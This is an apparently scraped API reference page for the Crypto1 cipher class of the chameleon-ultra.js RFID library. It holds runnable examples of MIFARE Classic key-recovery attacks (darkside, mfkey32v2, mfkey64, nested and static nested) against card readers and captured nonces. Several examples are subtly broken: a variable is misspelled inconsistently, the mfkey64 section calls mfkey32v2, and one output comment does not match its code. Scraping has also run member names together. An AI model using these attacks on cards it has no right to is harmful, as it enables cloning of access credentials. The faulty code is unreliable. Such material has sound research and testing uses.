Get the value of lfsr.
lfsr.
const { Buffer } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
const { default: Crypto1 } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/dist/Crypto1.mjs/+esm')
const state1 = new Crypto1()
console.log(state1.setLfsr(new Buffer('FFFFFFFFFFFF')).getLfsr().toString(16)) // 'FFFFFFFFFFFF'
Static
darksideRecover the key from the tag with the darkside attack.
An async function to acquire the darkside attack data.
An async function to check the key.
The maximum number of attempts to try.
The recovered key.
// you can run in DevTools of https://taichunmin.idv.tw/chameleon-ultra.js/test.html
await (async ultra => {
const { Buffer, DarksideStatus, DeviceMode, Mf1KeyType } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
const { default: Crypto1 } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/dist/Crypto1.mjs/+esm')
await ultra.cmdChangeDeviceMode(DeviceMode.READER)
const block = 0
const keyType = Mf1KeyType.KEY_A
const key = await Crypto1.darkside(
async attempt => {
const accquired = await ultra.cmdMf1AcquireDarkside(block, keyType, attempt === 0)
console.log(_.mapValues(accquired, buf => Buffer.isBuffer(buf) ? buf.toString('hex') : buf))
if (acquired.status === DarksideStatus.LUCKY_AUTH_OK) throw new Error('LUCKY_AUTH_OK')
if (acquired.status !== DarksideStatus.OK) throw new Error('card is not vulnerable to Darkside attack')
return accquired
},
async key => {
return await ultra.cmdMf1CheckBlockKey({ block, keyType, key })
},
)
console.log(`key founded: ${key.toString('hex')}`)
})(vm.ultra)
Static
decryptDecrypt the data.
The encrypted data.
The 6-bytes key to decrypt the data.
The calculated response of args.nt
from reader in the authentication.
The nonce from tag in the authentication.
The 4-bytes uid in the authentication.
The decrypted data.
Static
mfkey32A method for Tag to validate Reader has the correct key.
The encrypted prng successor of opts.nt
.
The 6-bytes key to be test.
The encrypted nonce from reader.
The nonce from tag.
The 4-bytes uid of tag.
const { Buffer } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
const { default: Crypto1 } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/dist/Crypto1.mjs/+esm')
console.log(Crypto1.mfkey32IsReaderHasKey({
ar: 'CF0A3C7E',
key: 'A9AC67832330',
nr: 'FEDAC6D2',
nt: '2C198BE4',
uid: '65535D33',
}).toString('hex')) // true
Static
mfkey32v2Recover the key with the two authentication attempts from reader.
The random challenge from reader in the first authentication attempt.
The random challenge from reader in the second authentication attempt.
The calculated nonce response from reader in the first authentication attempt.
The calculated nonce response from reader in the second authentication attempt.
The nonce from tag in the first authentication attempt.
The nonce from tag in the second authentication attempt.
The 4-bytes uid in the authentication attempt.
The recovered key.
const { Buffer } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
const { default: Crypto1 } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/dist/Crypto1.mjs/+esm')
console.log(Crypto1.mfkey32v2({
uid: 0x65535D33,
nt0: 0xCB7B9ED9,
nr0: 0x5A8FFEC6,
ar0: 0x5C7C6F89,
nt1: 0x1E6D9228,
nr1: 0x6FB8B4A8,
ar1: 0xEF4039FB,
}).toString('hex')) // A9AC67832330
console.log(Crypto1.mfkey32v2({
uid: Buffer.fromHex('65535D33'),
nt0: Buffer.fromHex('CB7B9ED9'),
nr0: Buffer.fromHex('5A8FFEC6'),
ar0: Buffer.fromHex('5C7C6F89'),
nt1: Buffer.fromHex('1E6D9228'),
nr1: Buffer.fromHex('6FB8B4A8'),
ar1: Buffer.fromHex('EF4039FB'),
}).toString('hex')) // A9AC67832330
console.log(Crypto1.mfkey32v2({
uid: '65535D33',
nt0: 'CB7B9ED9',
nr0: '5A8FFEC6',
ar0: '5C7C6F89',
nt1: '1E6D9228',
nr1: '6FB8B4A8',
ar1: 'EF4039FB',
}).toString('hex')) // A9AC67832330
Static
mfkey64Recover the key with the successfully authentication between the reader and the tag.
The random challenge from reader in the authentication.
The calculated response of args.ar
from tag in the authentication.
The calculated response of args.nt
from reader in the authentication.
The nonce from tag in the authentication.
The 4-bytes uid in the authentication.
The recovered key.
const { Buffer } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
const { default: Crypto1 } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/dist/Crypto1.mjs/+esm')
console.log(Crypto1.mfkey32v2({
uid: 0x65535D33,
nt: 0x2C198BE4,
nr: 0xFEDAC6D2,
ar: 0xCF0A3C7E,
at: 0xF4A81AF8,
}).toString('hex')) // A9AC67832330
console.log(Crypto1.mfkey32v2({
uid: Buffer.fromHex('65535D33'),
nt: Buffer.fromHex('2C198BE4'),
nr: Buffer.fromHex('FEDAC6D2'),
ar: Buffer.fromHex('CF0A3C7E'),
at: Buffer.fromHex('F4A81AF8'),
}).toString('hex')) // A9AC67832330
console.log(Crypto1.mfkey32v2({
uid: '65535D33',
nt: '2C198BE4',
nr: 'FEDAC6D2',
ar: 'CF0A3C7E',
at: 'F4A81AF8',
}).toString('hex')) // A9AC67832330
Static
nestedRecover key from mifare tags with weak prng
The logs of the nested attack.
The nonce distance between two authentication.
The 4-bytes uid in the authentication.
candidates keys
const { default: Crypto1 } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/dist/Crypto1.mjs/+esm')
const args = {
uid: '877209e1',
dist: '00000080',
atks: [
{ nt1: 'b4a08a09', nt2: '8a15bbf2', par: 5 },
{ nt1: '1613293d', nt2: '912e6760', par: 7 }
]
}
const keys = Crypto1.nested(args)
console.log(`keys = ${JSON.stringify(_.map(keys, key => key.toString('hex')))}`)
Static
prngStatic
staticnestedRecover key from mifare tags with static nonce
The nonce logs of the authentication.
The key type of target block.
The 4-bytes uid in the authentication.
candidates keys
const { default: Crypto1 } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/dist/Crypto1.mjs/+esm')
const { Mf1KeyType } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
const args = {
uid: 'b908a16d',
keyType: Mf1KeyType.KEY_A,
atks: [
{ nt1: '01200145', nt2: '81901975' },
{ nt1: '01200145', nt2: 'cdd400f3' },
],
}
const keys = Crypto1.staticnested(args)
console.log(`keys = ${JSON.stringify(_.map(keys, key => key.toString('hex')))}`)
Internal
evenInternal
oddStatic
Internal
evenStatic
Internal
lfsrStatic
beStatic
bitStatic
castInternal
Cast Buffer, hex string or number to UInt32
Buffer, string or number
UInt32
Static
checkStatic
evenStatic
evenStatic
extendInternal
Using a bit of the keystream extend the table of possible lfsr states. (complex version)
An array of the even/odd bits of lfsr.
Size of array.
The bit of the keystream.
mask1
mask2
The value that was fed into the lfsr at the time the keystream was generated.
The new size of array.
Static
extendInternal
Using a bit of the keystream extend the table of possible lfsr states. (simple version)
An array of the even/odd bits of lfsr.
Size of array.
The bit of the keystream.
The new size of array.
Static
filterStatic
lfsrStatic
lfsrStatic
lfsrInternal
Recover the state of the lfsr given 32 bits of the keystream. Additionally you can use the in parameter to specify the value that was fed into the lfsr at the time the keystream was generated
The array of recovered lfsr states.
Static
lfsrStatic
mfkeyInternal
Recursively narrow down the search space, 4 bits of keystream at a time.
The array of even bits of possible lfsr states.
The array of odd bits of possible lfsr states.
The array of recovered lfsr states.
Static
nestedStatic
nestedStatic
oddStatic
swapStatic
toStatic
toStatic
toStatic
toStatic
toStatic
update
JavaScript implementation of the Crypto1 cipher.
See
crypto1.c | RfidResearchGroup/proxmark3